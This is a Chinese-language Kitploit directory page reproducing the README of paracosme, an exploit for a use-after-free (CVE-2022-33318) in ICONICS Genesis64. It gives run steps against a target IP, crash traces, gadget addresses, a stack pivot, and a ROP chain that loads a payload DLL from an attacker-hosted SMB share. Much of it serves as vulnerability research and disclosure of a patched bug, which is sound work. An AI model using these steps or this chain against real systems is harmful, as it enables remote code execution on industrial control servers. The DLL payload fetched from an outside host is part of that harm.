Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
paracosme — Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition. | Kitploit
工具/GitHubGitHub/0vercl0k/paracosme
Vulnerability AnalysisExploitationSCADA/ICS SecurityPenetration TestingPayload DevelopmentBinary ExploitationArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.

查看仓库
90222年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Paracosme - CVE-2022-33318 - ICONICS Genesis64 中的远程代码执行

Paracosme 是我编写的一个内存破坏漏洞利用程序,用于攻击由 ICONICS 开发的 Genesis64 套件 v10.97.1,以实现远程代码执行。

该漏洞利用程序是在 S4x22 Conference 期间举行的 Pwn2Own 2022 Miami 竞赛上演示的。你可以通过 参加 Pwn2Own ICS 2022 Miami:利用 ICONICS Genesis64 中的零点击远程内存破坏 了解详情。

该问题在 CVSS 中评分为 9.8,并被分配为 CVE-2022-33318 / ZDI-22-1041。它已被修复,并在 Genesis64 10.97.2 中修复。你也可以阅读 ICSA-22-202-04 公告以及 ICONICS 的 关于 ICONICS Suite 安全漏洞的白皮书。

你可以在 src/paracosme.py 中找到漏洞利用代码,在 src/paracosme-poc.py 中找到用于触发崩溃/验证你是否受影响的 PoC,在 src/payload 中找到目标机器上执行的 payload。

我是否受影响?

判断你是否受影响的最佳方法是为 GenBroker64.exe 启用 Page Heap,重启服务,将调试器附加到 GenBroker64.exe,针对你的服务器运行 paracosme-poc.py,然后你应该会看到类似下面的崩溃:

你需要将调试器附加到目标进程才能看到崩溃,否则应用程序会忽略它。

运行漏洞利用程序

该漏洞利用程序只在 Windows 上测试过,但应该也能在 Linux 平台上运行:

  1. 使用以下命令安装 impacket:pip3 install impacket
  2. 使用 sc config lanmanserver start=disabled 关闭机器上运行的任何 SMB 服务器,然后重新启动
  3. 使用 smbserver.py(impacket 示例的一部分)启动 smbserver:python src\smbserver.py -smb2support x bin
  4. 使用 python src\paracosme.py --target <ip> 启动漏洞利用程序

漏洞利用

更多细节,请参阅 参加 Pwn2Own ICS 2022 Miami:利用 ICONICS Genesis64 中的零点击远程内存破坏。

漏洞概述

Paracosme 利用在 GenBroker64 进程中发现的释放后使用(use-after-free)问题,在 Windows 21H2 x64 系统上实现远程代码执行。

从高层次来看,GenBroker64 进程监听 TCP 端口 38080,并在与客户端完成握手后能够反序列化各种数据包。我发现的 bug 出在从网络套接字读取 VARIANT 的代码中。基本上,一个 variant 由一个类型和一个值组成。该函数乍一看写得不错,并且尽力只解包某些类型。其代码如下:

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

该函数自己实现了数组解包,以及读取简单的 variant 类型,但如果收到的是不属于这两类的东西,它就会转交给 archive 实例的 operator>>。这个 archive 实例是由 Microsoft Foundation Class 框架提供的对象,负责各种对象的序列化和反序列化。这段代码实际上是开源的,你可以在 C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp 中找到它,其内容如下:

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

这个函数大部分内容都很无聊,因为它也有解包普通类型的逻辑,但引起我注意的是 VT_DISPATCH / VT_UNKNOWN。

这是什么情况?你可以发送一个实现了 IPersistStream 或 IPersistStreamInit 的任意 COM 对象类 ID,它会通过调用 IPersistream::Load 来加载并初始化该对象。虽然这令人惊讶,而且是个奇怪的功能,但从安全角度来看,我并不觉得这多有趣,因为我需要在 Windows 10 自带的 COM 对象中找到另一个 bug。

现在,让我们仔细看看下面的代码:

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

CoCreateInstance 调用会将 COM 实例指针直接写入 pSrc->punkVal,即存储在调用方若干栈帧之前的最终 variant 中。然后,如果 IStreamPersist::Load 触发异常,该异常会被捕获,并同时对 IUnknown 和 IPersistStream 接口调用 IUnknown::Release,从而释放 COM 对象,使 pSrc->punkVal 成为悬空指针。另一个有趣的地方是,在完成上述操作后,catch 块会重新抛出异常,该异常会被下面的代码捕获:

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

此时,variant 已经被释放,但其类型和值尚未被更新/改变,因此这次 VariantClear 调用会触发第二次 IUnknown::Release,从而产生下面的崩溃:

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

哇,太棒了。我们可以通过实例化一个实现了 IPersistStream 的 COM 对象,并让它在调用 Load 时触发异常,从而触发上述崩溃。你可以在 paracosme-poc.py 中找到触发代码,它应该会使目标上的 GenBroker64.exe 进程崩溃。你也可以在 GenBroker64.exe 上启用 page heap,以立即获得崩溃。

劫持 RIP

当对一个 variant 调用 VariantClear 时,它会通过虚调用分派到 Release 方法来释放它。由于这是一个虚调用,函数会读取 vtable,在固定偏移处取得一个函数指针并调用它。在此之前,我们会与线程竞争,以回收 ole32!CFileMoniker 实例,并用受控数据替换它(参见 RacerThread_t)。因此,我们控制了 vtable 指针,离劫持 RIP 仅一步之遥。下面的内容展示了相应的汇编指令,其中 @rcx 指向我们完全控制的堆块:

root@kitploit:~
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

因为我们对回收的堆块拥有完全控制权,所以我们可以控制 @rax。为了劫持控制流,我们需要将 @rax 设置为指向我们想用来劫持 @rip 的值的指针。这里最大的问题是 ASLR,而且我们没有信息泄露。

对我们来说幸运的是,GenBroker64.exe 模块没有动态基址,这意味着我们可以利用它找到一个指向有用 gadget 的位置,从而开始我们的链。

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

我们使用的第一个 gadget 是一个允许我们完全控制 @rip(没有任何间接跳转)的 gadget:

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

我们可以在回收的堆块(由 @rcx 指向)的 +0x10 偏移处放置下一个 gadget 的地址,这非常棒。

我们使用的第二个 gadget 会将栈迁移到我们完全控制的回收堆块上:

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

有趣的是,我们的堆块地址似乎(总是?)位于一个 32 位整数可以表示的范围内,这就是为什么 mov esp, ecx 可以正常工作的原因。

此时我们已经有了 ROP,但空间并不充裕,这让人相当沮丧。我花了很多时间试图让各种条件凑齐,最终想出了一系列 gadget,通过一个指向承载 payload 的 DLL 文件的远程 SMB 路径来调用 LoadLibraryW。如果你对这条链的细节感兴趣,可以看看 paracosme.py@241。

作者

  • Axel '0vercl0k' Souchet
下载工具